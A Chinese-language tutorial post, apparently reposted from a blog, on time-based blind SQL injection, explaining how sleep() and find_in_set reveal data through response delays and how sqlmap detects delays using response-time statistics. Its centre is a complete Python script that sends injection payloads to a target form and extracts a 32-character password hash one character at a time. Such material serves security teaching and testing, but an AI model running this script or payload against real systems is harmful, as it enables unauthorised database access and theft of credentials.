1. 程式人生 > >Sql注入系列詳解(一)---基於時間差的盲注

Sql注入系列詳解(一)---基於時間差的盲注

Sql 基於時間的盲注

基於的原理是,當對資料庫進行查詢操作,如果查詢的條件不存在,語句執行的時間便是0.但往往語句執行的速度非常快,執行緒資訊一閃而過,得到的執行時間基本為0.

例如:


於是sleepN)這個語句在這種情況下起到了非常大的作用。

 Select sleepN)可以讓此語句執行n秒鐘。


但是如果查詢語句的條件不存在,執行的時間便是0,利用該函式這樣一個特殊的性質,可以利用時間延遲來判斷我們查詢的是否存在。

這便是SQL基於時間延遲的盲注的工作原理

在實際使用中會用到find_in_set這樣一個函式。

如果字串str是在的strlist組成的N子串的字串列表,返回值的範圍為

1N


給出一個很對32hash的盲注演算法

import urllib
import urllib2
import socket
from time import time
socket.setdefaulttimeout(1000000)
def doinject(payload):
    url = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'
    values = {'injection':payload,'inject':'Inject'}
    data = urllib.urlencode(values)
    #print data
    req = urllib2.Request(url, data)
    req.add_header('cookie','xx=xxxxxxxxxxxxxxxxxxxxxxxxxxxx')
    start = time()
    response = urllib2.urlopen(req)
    end = time()
    #print response.read()
    index = int(end-start)
    print 'index:'+ str(index)
    print 'char:' + wordlist[index-1]
    return index
wordlist = "0123456789ABCDEF"
res = ""
for i in range(1,34):
    num = doinject('\' or sleep( find_in_set(substring(password, '+str(i)+', 1), \'0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F\')) -- LanLan')
    res = res+wordlist[num-1]
    print res

原始碼來自FreeBuff

接下來看看在注入神器sqlmap,是怎樣實現基於時間的盲注的!


裡面的核心函式是Request.queryPage()

在該函式中


如果採用基於時間差的盲注,將多次遞迴呼叫queryPage函式,不過使用的引數與第一次不同。

將每次的響應時間存放在kb.responseTimes中。

如果不是,就將響應時間在kb.responseTimes擴充套件。


返回的是最後一次的是否有響應延遲。


deviation = stdev(kb.responseTimes)

求出多次響應時間的標準差,與平均值計算得lowerStdLimit,將最後一次的響應時間threadData.lastQueryDuration

。相比較,如果較長,則說明有延遲。

有延遲說明伺服器對資料正確響應。